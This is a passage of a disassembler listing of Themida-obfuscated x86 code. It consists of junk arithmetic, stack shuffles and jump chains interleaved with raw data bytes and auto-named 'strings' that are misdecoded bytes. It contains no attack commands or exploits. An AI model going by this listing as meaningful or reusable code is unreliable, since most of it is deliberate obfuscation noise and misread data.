loc_559C89: ; CODE XREF: Themida_:00556B95j push ecx mov ecx, 50413CE2h mov eax, 32C0088Bh xor eax, ecx pop ecx sub eax, 2B920664h sub eax, edx add eax, 2B920664h mov edx, [esp] add esp, 4 shl eax, cl sub esp, 4 mov [esp], ebp push ecx mov ecx, 0FFFFFFFFh mov ebp, ecx pop ecx push edx mov edx, 6C8A2CD0h sub edx, 6C54D430h sub eax, edx pop edx add eax, 2A504280h add eax, 306806ADh add eax, ebp sub eax, 306806ADh sub eax, 2A504280h push 7A1Dh mov [esp], edx push 3558A0h jmp loc_556A98 ; --------------------------------------------------------------------------- loc_559CF4: ; CODE XREF: Themida_:00562C88j mov eax, 4 mov ebx, eax mov eax, [esp] jmp loc_550985 ; --------------------------------------------------------------------------- db 29h dd 5E95BD9h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D0B: ; CODE XREF: Themida_:00559D42j xor eax, [esp] mov esp, [esp] jmp loc_561DE1 ; --------------------------------------------------------------------------- dw 2C28h dd 166E924h, 665E0000h, 566D829h, 8B6632BDh, 0CE68241Ch dd 8900006Fh, 0E6892434h, 4C681h, 25E90000h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559D3F: ; CODE XREF: Themida_:00550841j xor [esp], eax jmp loc_559D0B ; --------------------------------------------------------------------------- db 0B3h dd 12F968D3h, 4890000h, 0F3B424h, 0EC8158E3h, 2, 434FE9h dd 0FFE95700h, 68FFFF6Bh, 0FFFFFBFFh, 8324148Bh, 2C8904ECh dd 81E58924h, 4C5h, 9A31E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D82: ; CODE XREF: Themida_:00560825j sub edi, 67EA5030h push ebp mov ebp, 32A10ED5h xor edi, ebp pop ebp add edi, 932D4437h jmp loc_55B034 ; --------------------------------------------------------------------------- loc_559D9C: ; CODE XREF: Themida_:005574BEj pop esi xchg edx, [esp] jmp loc_552823 ; --------------------------------------------------------------------------- loc_559DA5: ; CODE XREF: Themida_:005579A6j add edx, 2 jmp loc_554646 ; --------------------------------------------------------------------------- dd 1C9968h, 241C8900h, 0CFFED0B7h, 0B9AE9h, 64E95800h dd 0C1FFFFF9h, 0C5E902E9h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559DCF: ; CODE XREF: Themida_:0055F7B3j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5598D0 ; --------------------------------------------------------------------------- dw 73BFh dd 81625947h, 6C042444h, 292DF81Fh, 5704247Ch, 3187E9h dd 0DFE95D00h, 81FFFFB8h, 17054AE5h, 2DBE5616h, 313E1F30h dd 24348BF5h, 8104C483h, 7A343BC6h, 0B3EE810Fh, 0E9056625h dd 0FFFF8F98h, 4C481h, 0EC810000h, 4, 0E9241489h, 0FFFF9125h dd 4C7815Fh, 0E9000000h, 4C4Eh, 0C781E789h, 4, 0E904EF83h dd 0FFFF7736h, 2FD0C581h, 90E961A4h, 1FFFFA5h, 7DF42DC8h dd 5FE95FD1h, 33FFFFB9h, 4312404h, 24043324h, 5324248Bh dd 0FFAE73E9h db 0FFh ; --------------------------------------------------------------------------- loc_559E7D: ; CODE XREF: Themida_:00552E23j pop ecx inc ecx jmp loc_554999 ; --------------------------------------------------------------------------- dd 7242C80h, 0FFC360E9h, 58C789FFh, 3C8BF929h, 4C48124h dd 0E9000000h, 0FFFFFD0Eh, 0CCEBF281h, 0CE2D1ED2h, 2D65562Dh dd 2105521Fh, 0B951D001h, 2105521Fh, 0E959C801h, 0FFFFD735h dd 4004C483h, 0FFB51FE9h, 241487FFh, 6624248Bh, 66243C89h dd 22474FFh, 8F665F66h, 0F7662404h, 0E78957D7h, 4B850h dd 0EF810000h, 759128F9h, 0FFD3B5E9h, 7B2CFFh, 368EE9E8h dd 34FF0000h, 0E8685824h, 8900005Ah, 71E92404h, 5DFFFF84h dd 22B3BE56h, 0F5315C0Dh, 5DE9895Eh, 75E9F931h, 81FFFFEDh dd 755484E9h, 81E90120h, 755484C1h, 242C8B20h, 5704C483h dd 8904EC83h, 0BF572434h, 33512254h, 1E2F781h, 0FE8931A8h dd 0FFEE835Fh, 9FBE9h, 2474FF00h, 48F5904h, 2055C24h, 87000000h dd 248B2404h, 2424D224h, 64AEE99Ch, 3C8BFFFFh, 4C48324h dd 2BA2C581h, 0CD017034h, 2BA2ED81h, 34FF7034h, 0C4815924h dd 4, 8447E956h, 3350000h, 8922A57Ah, 24048BC6h, 8104C483h dd 0AF11EACEh, 9EE68168h, 0E9187447h, 0FFFFCB9Dh, 6E856853h dd 36E93F40h, 0C1000082h, 0CD8106E5h, 9CD41A1h, 6839ED81h dd 0F5812A2Dh, 2A1D4AFAh, 0FFF284E9h, 5FF801FFh, 3A64872Dh dd 0E9D0291Ah, 0FFFFBC98h, 0BD242C89h, 1E7A41CBh, 0A9BDE9h db 0 ; --------------------------------------------------------------------------- loc_559FF5: ; CODE XREF: Themida_:0055E78Dj push 5A36h jmp loc_551BFE ; --------------------------------------------------------------------------- db 0BBh dd 64783F31h, 4245C29h, 3105585Bh, 5E64783Fh, 707AEB81h dd 0C30137E3h, 707AC381h, 11E937E3h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A023: ; CODE XREF: Themida_:005514A4j add ebx, ecx sub ebx, 27807E9Dh sub ebx, 163B5452h mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_55E789 ; --------------------------------------------------------------------------- aUiDs6j db '˝¨ždé6J',0 dw 8B00h dd 0C4812434h, 4, 6535E9h, 4ED6F700h, 1F81E681h, 0C6814BD0h dd 0A211CCh, 8340F681h, 9CE952F8h, 66000083h, 68240C8Bh dd 3A52h, 54242C89h, 0E92434FFh, 9904h, 4C281h, 0ECE90000h dd 8B000016h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx jmp loc_560449 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C8700h, 0FAE9555Ch, 0C100007Bh, 0BD5504EBh dd 5FA850FFh, 0D3ED8145h, 813AE73Ch, 23140EF5h, 23ED8179h dd 315291E9h, 0D0E95DEBh, 660000AEh, 81240C8Bh, 4ECh, 24048900h dd 3FEA68h, 24248900h, 4240481h, 58000000h, 9D55E9h, 0E1895100h dd 401BE9h, 5EF70100h, 5C243C87h, 51FFC680h, 0E58013B5h dd 0FCB4507Ah, 0E958E528h, 470Fh, 0BF243C89h, 6C96D67h dd 94E5E9h, 4C28100h, 83000000h, 148704C2h, 0C4E95C24h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A13B: ; CODE XREF: Themida_:00564C95j pop edi xchg eax, [esp] pop esp btr [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- db 0F7h dd 84C281D2h, 0F788C768h, 7DEA81D2h, 8963CAB5h, 0BF575AD1h dd 5F4516B5h, 2680C781h, 60E94A00h, 810000A9h, 4C7h, 8D1BE900h dd 3C8BFFFFh, 0E2895224h, 2051E9h, 5EF13100h, 242C8151h dd 2A5D4E5Dh, 5DC5815Dh, 0E92A5D4Eh, 0B276h, 5624048Bh dd 57E9E689h, 0BBFFFF8Fh, 0A1AD982h, 295BDE29h, 34FF5EF3h dd 0C4835D24h, 5BDF0904h, 1A97E781h, 0EF83408Ch, 4273E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A1CA: ; CODE XREF: Themida_:005533FEj mov esi, 7F241594h sub esi, 49190469h jmp loc_551167 ; --------------------------------------------------------------------------- aBaaStss db 'í:áté!',0 dd 24348900h, 0FFE279E9h, 0EB835EFFh, 241C3304h, 33241C31h dd 895C241Ch, 0EC832434h, 69F0E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A206: ; CODE XREF: Themida_:00558F83j sub ebp, 59406CE2h add ebp, 0DE053E8h sub edx, ebp jmp loc_55C7F9 ; --------------------------------------------------------------------------- db 81h, 0E3h, 0F3h dd 0F725BE14h, 0D6CB81DBh, 8122175Bh, 0E1ABDFF3h, 5BD829C2h dd 905D029h, 0E93DB650h, 2B29h, 5C242C87h, 0FFCBF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A245: ; CODE XREF: Themida_:005569DDj mov [esp], edx push ecx push edi mov edi, 7CCC21D8h sub [esp+4], edi pop edi mov edx, [esp] push eax jmp loc_561B36 ; --------------------------------------------------------------------------- db 5Ah, 88h, 0D8h dd 241C8B66h, 815A5452h, 4C2h, 2C28300h, 5C241487h, 0C330D830h dd 57DEE9h db 0 ; --------------------------------------------------------------------------- loc_55A27D: ; CODE XREF: Themida_:00563475j add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, esp jmp loc_56109E ; --------------------------------------------------------------------------- db 8Bh dd 0AEE92424h, 29FFFF7Ah, 0FB2959CFh, 0BCE0E95Fh, 815AFFFFh dd 326743E2h, 3685051h, 58413E65h, 34FFC201h, 0C4835824h dd 6DC28104h, 810B3C23h, 8C8E73F2h, 5AD0298Ch, 0C1D8F740h dd 3C2D06E0h, 169F1C1h, 148758C2h, 85685C24h, 89000078h dd 0BE562414h, 68DD0E76h, 108E64BAh, 5EF229E8h, 0C104EAC1h dd 574A04E2h, 0FF635EE9h, 243431FFh, 8B243433h, 0D3662424h dd 0E99C242Ch, 0FFFF6108h, 0E952E801h, 53E5h, 5C241C87h dd 0FF60F7E9h, 0F56856FFh, 0E9775530h, 77E2h, 81FFE983h dd 0FFFFFFC1h, 5A5452FFh, 4C281h, 0EA830000h, 24148704h dd 2414895Ch, 0A4ABE9h, 0D4E18100h, 8153CC2Bh, 5D098CC9h dd 8FC98107h, 815BF523h, 0B20FB9F1h, 8E95554h, 8100009Dh dd 4C2h, 4C28100h, 0E9000000h, 2F6h, 0F615C681h, 0F1010080h dd 4E9815Eh, 33000000h, 0C31240Ch, 0B86E924h, 815D0000h dd 0C54798F3h, 0E9DA89D4h, 0FFFF7B56h, 5724048Bh, 0BE56E789h dd 4, 835EF701h, 8BE904C7h, 890000A8h, 37EEE9E5h, 34FF0000h dd 0E2FDE924h, 7BBBFFFFh, 0E995CA45h, 0FFFFF927h, 355AD029h dd 52849D6h, 8158C729h, 29A046EFh, 557E9DBh, 1B50000h dd 5966EA00h, 0A0E4E9h, 0E7895700h, 4C781h, 0EF810000h dd 4, 0D27E9h, 0D6E95400h, 68000011h, 7AE2h, 51241489h dd 88FC8850h, 0CA8858E1h, 7344E9h db 0 ; --------------------------------------------------------------------------- loc_55A42D: ; CODE XREF: Themida_:005653A3j mov ebx, esi mov esi, [esp] add esp, 4 push eax jmp loc_557488 ; --------------------------------------------------------------------------- aHl db '\hŤ`',0 dd 34DAE900h, 0E95F0000h, 95C5h, 24148B66h, 81E38953h dd 4C3h, 2C38100h, 87000000h, 665C241Ch, 66785868h, 52240C89h dd 35B51DB6h, 0E95AF528h, 6DB4h, 5C241433h, 1C8B5453h dd 4C48124h, 81000000h, 4C3h, 4EB8300h, 251BE9h db 0 ; --------------------------------------------------------------------------- loc_55A495: ; CODE XREF: Themida_:0055901Ej pop eax dec eax jmp loc_5573A0 ; --------------------------------------------------------------------------- dd 0E98FF480h, 8F5Eh, 31240433h, 4332404h, 24248B24h, 0FFFBD7E9h dd 7BEE80FFh, 0FFDB86E9h, 55E689FFh, 4BDh, 0E9EE0100h dd 0FFFF8983h, 8104C483h, 0EE9512F6h, 14CCE97Ah, 0F2C0000h dd 0FFC53EE9h, 24248BFFh, 310EE8C1h, 6FA68C8h, 42E90000h dd 87000093h, 53DA87D6h, 5B2414F7h, 0D687DA87h, 0EE81D6F7h dd 38881D98h, 0BBE9F301h, 29000081h, 0E38159CBh, 7BB35667h dd 0DDF5B951h, 0CB29F2EEh, 0FFC23AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A525: ; CODE XREF: Themida_:0055589Ej add eax, ebx pop ebx jmp loc_55E772 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E9E38953h, 0FFFF6AF3h, 0E9028F64h, 0FFFF5EE0h, 2404815Fh dd 7CBE1E62h, 0FF92B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A54D: ; CODE XREF: Themida_:0055AF6Ej mov [esp], edx jmp loc_553495 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0ACh dd 0E958BB15h, 0FFFFF144h, 0E96DC580h, 8D9Fh, 3863F281h dd 0F2812C6Ah, 64890A8Bh, 7B40F281h, 0D3217743h, 0E0EB815Ah dd 8112A16Ah, 0A7D1ECF3h, 8BDE219Dh, 8951241Ch, 4C181E1h dd 83000000h, 0C3304C1h, 240C3124h, 0E9240C33h, 26CEh dd 80E6E680h, 0F58898C6h, 6EF3E9h, 57E0D100h, 7279B951h dd 0D9F7257Ch, 35F18141h, 89B68FF6h, 0F80959CFh, 83243C8Bh dd 832504C4h, 48414835h, 0F7CA8205h, 4EB81BEh, 0E968A03Ah dd 4CFFh, 0B8E95156h, 29FFFF88h, 9D31E9D0h, 2C87FFFFh dd 24348B24h, 0C104C483h, 0E95608EEh, 2779h, 2FFAEA81h dd 0D1015EBFh, 0A8E9555Ah db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A617: ; CODE XREF: Themida_:00556BB1j mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push 58F8h mov [esp], edx mov edx, 533855F8h xor eax, edx pop edx jmp loc_550420 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E0895058h, 405h, 6BE95300h, 0B900007Dh, 3AAB60BFh dd 1EE9CB31h, 8B00002Eh, 0E950243Ch, 7401h, 10FEE958h dd 14870000h, 0A4E95C24h, 5100008Ch, 61036866h, 241C8966h dd 383BE9h db 0 ; --------------------------------------------------------------------------- loc_55A691: ; CODE XREF: Themida_:0055FEB8j add esp, 4 mov ebp, esi jmp loc_562D1B ; --------------------------------------------------------------------------- loc_55A69E: ; CODE XREF: Themida_:0055B25Aj pop edx add ebx, 54573F60h add ebx, edx sub ebx, 54573F60h add ebx, 510E5D6Dh jmp loc_55164C ; --------------------------------------------------------------------------- dd 3C335958h, 243C3124h, 8B243C33h, 34FF2424h, 2434FF24h dd 20DB6858h, 0C890000h, 53595424h, 4BBh, 5BD90100h, 0E904E983h dd 6DF8h ; --------------------------------------------------------------------------- loc_55A6E8: ; CODE XREF: Themida_:005643E9j mov dh, 9Fh add bl, dh jmp loc_55958D ; --------------------------------------------------------------------------- loc_55A6F1: ; CODE XREF: Themida_:00562B2Fj sub esp, 4 mov [esp], eax mov eax, 1CA1577Ah add edi, eax pop eax jmp loc_55ECF1 ; --------------------------------------------------------------------------- db 0F7h dd 726BE9D6h, 34FFFFFFh, 94685924h, 89000076h, 1868243Ch dd 89000059h, 4832424h, 555F0424h, 0D13E03BDh, 7FEEE94Fh dd 4050000h, 5000000h, 2, 2474FF50h, 94BFE904h, 0C780FFFFh dd 8BEE933h, 14890000h, 67E95624h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A757: ; CODE XREF: Themida_:0055816Ej push ebx mov ebx, esp add ebx, 4 jmp loc_55EDB6 ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 0E9000000h, 0A845h, 8104C483h, 4C4h, 24348B00h, 81E18951h dd 4C1h, 4E98300h, 0E9240C87h, 711Fh, 5E3C143h, 50E4E9h dd 0BBBE5600h, 0F7533C22h, 5CD7E9DEh, 0DB7FFFFh, 0C7FED7F6h dd 8050CF80h, 0B25224EFh, 0C0C2FEDAh, 0E2D003EAh, 5AE3E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A7C2: ; CODE XREF: Themida_:00551EEAj pop edx pop ecx mov bl, al jmp loc_564513 ; --------------------------------------------------------------------------- db 80h dd 3DE904F2h, 8300001Ch, 0FA0104C4h, 0E9243C8Bh, 0FFFFA893h dd 5FFD0159h, 4BF57h, 0A7E90000h, 33FFFF76h, 0E1E92414h dd 5100006Ch, 0C580FBB5h, 59E80079h, 0E0E9BB0Ch db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A807: ; CODE XREF: Themida_:0056508Dj add eax, edi sub eax, 78F94D5Fh jmp loc_553869 ; --------------------------------------------------------------------------- db 66h dd 4EC8359h, 0E9243489h, 0FFFFEFB7h, 24348758h, 241C895Ch dd 4BBh, 39B4E900h, 0E9560000h, 8AB2h, 3C8BFA01h, 653AE924h dd 0EC810000h, 4, 0B9240C89h, 4, 0C7E9CE01h, 68FFFF89h dd 517Fh, 0BD242C89h, 0DDC1683h, 2C8BEA01h, 901EE924h dd 0C4830000h, 8BF03004h, 0C4832414h, 0B0B65204h, 8085EE80h dd 0F328F0C3h, 5AF0EB80h, 3DEB80h, 7FB551C3h, 0F6C0E580h dd 0C297E9DDh, 8B66FFFFh, 0E9512404h, 0FFFF7E42h, 4C481h dd 0EC830000h, 9F8CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A8B2: ; CODE XREF: Themida_:00554B22j pop ebp jmp loc_554AE7 ; --------------------------------------------------------------------------- loc_55A8B8: ; CODE XREF: Themida_:005616C8j sub edx, eax sub edx, 18A83FF1h push ecx mov ecx, 48297925h add ecx, 1C6B2BAFh add ecx, 5277399Ch xor ecx, 0C1C6964h or ecx, 60FA3DABh add ecx, 6D207085h sub edx, ecx pop ecx mov eax, [esp] add esp, 4 push ebx jmp loc_55468D ; --------------------------------------------------------------------------- db 58h dd 0FFBC7FE9h, 246C01FFh, 246C8104h, 88194E04h, 2444812Bh dd 4F5D1704h, 34FF5D40h, 0C4815824h, 4, 4EC81h, 14890000h dd 33BB5324h, 8156F072h, 0AF45EDEBh, 4A21E94Bh, 89660000h dd 0E5E9240Ch, 89FFFF5Ah, 2E92424h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A943: ; CODE XREF: Themida_:00550703j push edi jmp loc_55E934 ; --------------------------------------------------------------------------- db 29h, 0F8h, 0E9h dd 645Fh, 242C8756h, 9BE9D5F7h, 0F6FFFFFCh, 0FCC780D7h dd 80F0F780h, 0FE0024C6h, 5B24EE80h, 148BF030h, 4C48324h dd 0FFE781E9h, 0EE815EFFh, 6BF344EEh, 0FF5C17E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A985: ; CODE XREF: Themida_:00551343j mov ebx, [esp] add esp, 4 jmp loc_561AB8 ; --------------------------------------------------------------------------- db 66h dd 85E932FFh, 89FFFF5Ah, 68BA2414h, 81779947h, 4B249AC7h dd 81D70102h, 4B249AEFh, 0CE98E902h, 0C781FFFFh, 0B612B8Eh dd 0EBE9565Eh, 8000007Fh, 0D30011C3h, 80E3B450h, 0E328F2F4h dd 0C8B5A58h, 0CB685224h, 8900007Dh, 4812424h, 424h, 0C2815A00h dd 4, 5204C283h, 42474FFh, 24048F5Ah, 5524248Bh, 242C8B54h dd 0E904C483h, 0FFFFCB27h, 98E9F801h, 8100004Ah, 3F2991CBh dd 73C38134h, 29E2E8BAh, 7B055BD8h, 29601E52h, 527B2DD8h dd 9AE9601Eh, 0B800004Dh, 157830CAh, 0F707E8C1h, 0ED66E9D8h dd 0F180FFFFh, 59CC887Bh, 7DE9ECD0h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AA4B: ; CODE XREF: Themida_:0055EE21j pop eax push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] jmp loc_5563D9 ; --------------------------------------------------------------------------- db 81h, 0E7h, 0EEh dd 4F45F33Dh, 367FEF81h, 0FB019680h, 481535Fh, 8F19BC24h dd 0EA815A08h, 88F19BCh, 5B2434FFh, 0FF7829E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AA85: ; CODE XREF: Themida_:0055B60Ej and edx, ebp pop ebp push ebx mov ebx, 22A159D3h xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 shl edx, 4 push edi mov edi, 15292515h push ebx jmp loc_563598 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FDE9525Bh, 8100003Fh, 4C4h, 240C8B00h, 4C481h, 0D7280000h dd 942C5A66h, 0B353F828h, 2EBC06Ah, 519BEB80h, 0FFA624E9h dd 0E5F381FFh, 8988D6CDh, 0C2055BDAh, 1128C56h, 71BE56D0h dd 812CDD0Ch, 0EB3BB5CEh, 1CE68116h, 0E96B7847h, 0FFFFDA47h dd 81241C8Bh, 4C4h, 93C38100h, 0E921B41Ah, 15F2h, 4C481h dd 4870000h, 24248B24h, 8952D231h, 4EC81E2h, 89000000h dd 4DBB241Ch, 81308562h, 0C038ACBh, 8E3C101h, 59BE9h, 241C8B00h dd 81595451h, 4C1h, 4C18300h, 5C240C87h, 0FFB97FE9h, 75F705FFh dd 0C229B158h, 0FFB486E9h, 7E68ADFFh, 8900000Bh, 7DBA2414h dd 0E943AF6Ah, 0FFFF6C59h, 0E904C483h, 0EAFh, 5D8BC581h dd 0EA298D80h, 0E95B525Dh, 0E6Fh, 0A0347C2Dh, 129E0544h dd 0BCE921E8h, 0E9000034h, 0FFFF587Ch, 0FFFFEE81h, 0BB53FFFFh dd 11A13C51h, 15BDE31h, 49E95EF1h, 68000035h, 7798h, 81240489h dd 4ECh, 243C8900h, 4BFh, 5FF88900h, 419CE981h, 0C101744Ch dd 0FF990DE9h, 243C89FFh, 2B55E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABEA: ; CODE XREF: Themida_:0055474Bj push eax mov eax, 1 add ebp, eax jmp loc_553FAD ; --------------------------------------------------------------------------- db 0B5h dd 0A8CD807Ah, 0FE5ECD80h, 212BE9CDh, 0D5F70000h, 0CDC58145h dd 89432263h, 0F7015DEEh, 243C335Eh, 33243C31h, 248B243Ch dd 0C8B6624h, 4EC8124h, 89000000h, 0E9542414h, 0FFFF9458h dd 0B252665Ah, 66D13005h, 3E9C05Ah, 0FFAF84E9h, 240481FFh dd 4, 8324048Bh, 895604C4h, 4C681E6h, 50000000h, 0FFFDCEE9h dd 2434FFFFh, 4E46E9h, 4815100h, 514D424h, 0ED815D02h dd 20514D4h, 50240C8Bh, 405E089h, 5000000h, 4, 0FF7C3AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AC8D: ; CODE XREF: Themida_:0055F6CCj push 4233h mov [esp], ebp jmp loc_55CAD6 ; --------------------------------------------------------------------------- a3YSvj db 'ş3%Y%)ĐévJ',0 align 2 dw 48BDh dd 0E94AED5Ah, 110Ch, 66F4305Bh, 8324148Bh, 0E30002C4h dd 8BD82858h, 43E9241Ch, 8100001Ch, 4C7h, 4C78300h, 0FF81F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ACD5: ; CODE XREF: Themida_:0055B09Ej neg edx jmp loc_557048 ; --------------------------------------------------------------------------- dd 0FF573FE9h, 8BFE31FFh, 0C483243Ch, 5EF10104h, 1147E9h db 0 ; --------------------------------------------------------------------------- loc_55ACF1: ; CODE XREF: Themida_:0055CA23j push ecx mov ecx, 18CE0ED3h and ebp, ecx pop ecx push edi mov edi, 58AA590Ch jmp loc_557E54 ; --------------------------------------------------------------------------- db 0B3h, 78h, 0C0h dd 22E907EBh, 66FFFFD4h, 0E924048Bh, 0FFFF8E97h, 2804C483h dd 515266D8h, 45E926B1h, 6800005Ch, 3F847C4Ch, 8124048Bh dd 4C4h, 749D2500h, 0BA524D41h, 698C44D5h, 0F287EAD1h dd 6506E94Eh, 34FF0000h, 5F13E924h, 0EC810000h, 4, 89241489h dd 0E579E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AD62: ; CODE XREF: Themida_:0055CE37j push 540Fh jmp loc_55DBAA ; --------------------------------------------------------------------------- dd 8F04C483h, 48B2404h, 4C48124h, 31000000h, 4332404h dd 24043124h, 0FF5697E9h, 7E872DFFh, 348B5E8Fh, 974E924h dd 14890000h, 4FFEE924h, 248B0000h, 0C0B60F24h, 688734FFh dd 3406h, 3AAEE9h, 58B25200h, 0FE2CCA80h, 80C2FEC2h, 0D028D2F2h dd 3F15E9h, 64092D00h, 0F0297225h, 37F0E9h, 4E98100h, 87000000h dd 0EEE9240Ch, 0B8000034h, 1E9F58DDh, 0A03AE9h, 2EFC100h dd 835BE955h, 34FF0000h, 0C4815924h, 4, 0FF9DDBE9h, 835A5CFFh dd 148904ECh, 0B47BE924h, 0DFF7FFFFh, 0F703E7C1h, 0E5EF81D7h dd 89FEE96Ah, 0F5015FFEh, 4E92685Eh, 2C890000h, 2474FF24h dd 0C131E904h, 0F109FFFFh, 1EC1815Eh, 813A7418h, 6FC78EF1h dd 0E9CF315Fh, 0FFFFF998h, 4C481h, 15B0000h, 0A776E9D8h dd 0EDC10000h, 0C59CE906h, 5D58FFFFh, 0FFC2D9E9h, 4C483FFh dd 24048B5Bh, 4C481h, 7A2C0000h, 6866D000h, 89661F23h dd 7AB22414h, 8B66D000h, 0C4812414h, 2, 24148B66h, 93E95453h dd 8000007Ah, 0CF3016C1h, 81240C8Bh, 4C4h, 0E02AE900h dd 3C8BFFFFh, 4C48324h, 566CE981h, 79E95B0Ch, 5EFFFFD7h dd 0FFDA4DE9h, 0E9D789FFh, 1A56h, 240C8B54h, 8104C483h dd 4C1h, 14B8E900h, 34890000h, 7FFDE924h, 5F2CFFFFh, 5F04D028h dd 2C5A6B04h, 1F00E9DFh, 0C4810000h, 4, 0FFB268E9h, 602FB8FFh dd 0C7316DC3h, 5EFC158h, 4E7C147h, 7C3FE9h, 49E95600h dd 89FFFFBBh, 4C681E6h, 0E9000000h, 9CFEh, 8B240C33h, 4892424h dd 6A6E924h, 0B8500000h, 2D631371h, 8904EC83h, 2C812404h dd 0EB73F524h, 34E95E45h, 0BDFFFFC6h, 21BA55E2h, 0C0BF5752h dd 0E9121168h, 0FFFF829Ch, 28DDF580h, 240C8BEBh, 0FFADCDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AF69: ; CODE XREF: Themida_:00551974j push 1970h jmp loc_55A54D ; --------------------------------------------------------------------------- db 1 dd 0C875EF1h, 88685C24h, 89000032h, 7168241Ch, 89000048h dd 4682404h, 58000000h, 8904EC83h, 0C6E92404h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF9B: ; CODE XREF: Themida_:00555DC4j push esi mov esi, 4 add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_56088D ; --------------------------------------------------------------------------- loc_55AFB0: ; CODE XREF: Themida_:0055FBD2j dec edx jmp loc_55E4D5 ; --------------------------------------------------------------------------- dw 0D14Dh dd 4EC81EDh, 89000000h, 4DBA2414h, 0E9240927h, 0FFFF5D9Eh dd 0D0478BB9h, 23E95234h, 81000062h, 990651CEh, 6BC68173h dd 8142C04Bh, 65505EC6h, 17EE815Ch, 81A4B19Bh, 1A2BB5C3h dd 81F30112h, 1A2BB5EBh, 24348B12h, 7718E956h, 0E94AFFFFh dd 0AA00h, 0EF80E700h, 7EB65233h, 0FF9EF6E9h, 243431FFh dd 0E9243433h, 0FFFF9290h, 24048151h, 0FFFFFFFFh, 0E9240C8Bh dd 0FFFFBD98h ; --------------------------------------------------------------------------- loc_55B034: ; CODE XREF: Themida_:00559D97j sub ebp, edi pop edi add ecx, 4B27253Bh add ecx, ebp sub ecx, 4B27253Bh mov ebp, [esp] add esp, 4 push eax mov eax, 4 add ecx, eax jmp loc_553BB9 ; --------------------------------------------------------------------------- loc_55B05B: ; CODE XREF: Themida_:005622A7j push 345Fh mov [esp], ecx push edx pop ecx pop edx xchg eax, edx jmp loc_565B1B ; --------------------------------------------------------------------------- aBSHls4 db 'Ĺs{HLéÎ4',0 dw 5900h dd 2104C483h, 2434FFC8h, 8375E959h, 0E9520000h, 0FFFFADDEh ; --------------------------------------------------------------------------- loc_55B08C: ; CODE XREF: Themida_:005522FAj push eax mov eax, 4 add [esp+4], eax pop eax pop ebp push edx mov edx, 6BC45E19h jmp loc_55ACD5 ; --------------------------------------------------------------------------- loc_55B0A3: ; CODE XREF: Themida_:00556D84j mov ecx, 40655A4Eh sub edi, 647A53E3h jmp loc_55C060 ; --------------------------------------------------------------------------- db 50h dd 405E089h, 5000000h, 4, 8B240487h, 0C2092424h, 4468E2D1h dd 89000031h, 1B9240Ch, 0E9000000h, 0FFFF5FD2h, 8106E3C1h dd 3B04A0E3h, 4F38161h, 0E9403300h, 0FFFF9A45h, 4EC81h dd 0C890000h, 234CB924h, 0B9511160h, 1160234Ch, 0FF9A8EE9h dd 7E6E68FFh, 4890000h, 6EB024h, 0C4E958C5h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B11B: ; CODE XREF: Themida_:0055B84Bj pop esi jmp loc_559231 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0F1210000h, 4C1815Eh, 0E9FFC000h, 39A1h, 2474FF57h dd 7467E904h, 0F029FFFFh, 8904EC83h, 0D8E9243Ch, 89FFFFC9h dd 4C181E1h, 0E9000000h, 0BD2h, 0FF52BFE9h, 4E983FFh, 5C240C87h dd 89241C89h, 685650E3h, 59E52748h, 86F0E9h, 24048900h dd 73AEE9h, 0E95EB200h, 71C0h, 8B2414F7h, 5452242Ch, 0EF93E95Ah dd 8F5DFFFFh, 895C2404h, 47E9240Ch, 68000087h, 5819h, 83242489h dd 5E042404h, 0FF6D78E9h, 6AB368FFh, 4890000h, 34FF5424h dd 0C4815824h, 4, 670BBA52h, 5756208Eh, 842BCFBFh, 6E7C107h dd 4A72EF81h, 0E7814AE0h, 4D470879h, 0E781D7F7h, 524077E1h dd 0FF3AC781h, 0FE890286h, 38C6815Fh, 0E92BE151h, 0FFFFD62Ah ; --------------------------------------------------------------------------- loc_55B200: 